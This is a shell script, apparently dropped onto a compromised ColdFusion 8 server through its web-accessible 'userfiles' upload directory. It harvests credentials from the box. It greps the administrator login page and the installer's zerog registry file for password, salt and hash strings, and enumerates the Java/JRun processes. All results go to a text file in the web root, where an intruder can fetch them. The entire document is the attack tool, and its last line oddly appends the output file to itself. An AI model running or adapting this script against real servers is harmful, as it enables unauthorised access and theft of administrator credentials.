#!/bin/sh
O=/opt/coldfusion8/wwwroot/userfiles/file/cfpw7_out.txt
echo "=== enter.cfm file type ===" > $O
file /opt/coldfusion8/wwwroot/CFIDE/administrator/enter.cfm >> $O 2>&1
echo "=== enter.cfm (strings) ===" >> $O
strings /opt/coldfusion8/wwwroot/CFIDE/administrator/enter.cfm 2>/dev/null | grep -iE 'password|cfadmin|salt|hash|sha|registry|config|read|get|admin|login|verify' | head -30 >> $O
echo "=== zerog registry admin password ===" >> $O
grep -iE 'admin|password|ADMIN_PASSWORD' /opt/coldfusion8/uninstall/.com.zerog.registry.xml 2>/dev/null | head -20 >> $O
echo "=== find java/jrun process ===" >> $O
ps -ef | grep -iE 'java|jrun|coldfusion' | grep -v grep | head -5 >> $O
echo "=== jrun pids ===" >> $O
pgrep -f 'java|jrun|cfusion' 2>/dev/null | head -5 >> $O
cat $O >> $O
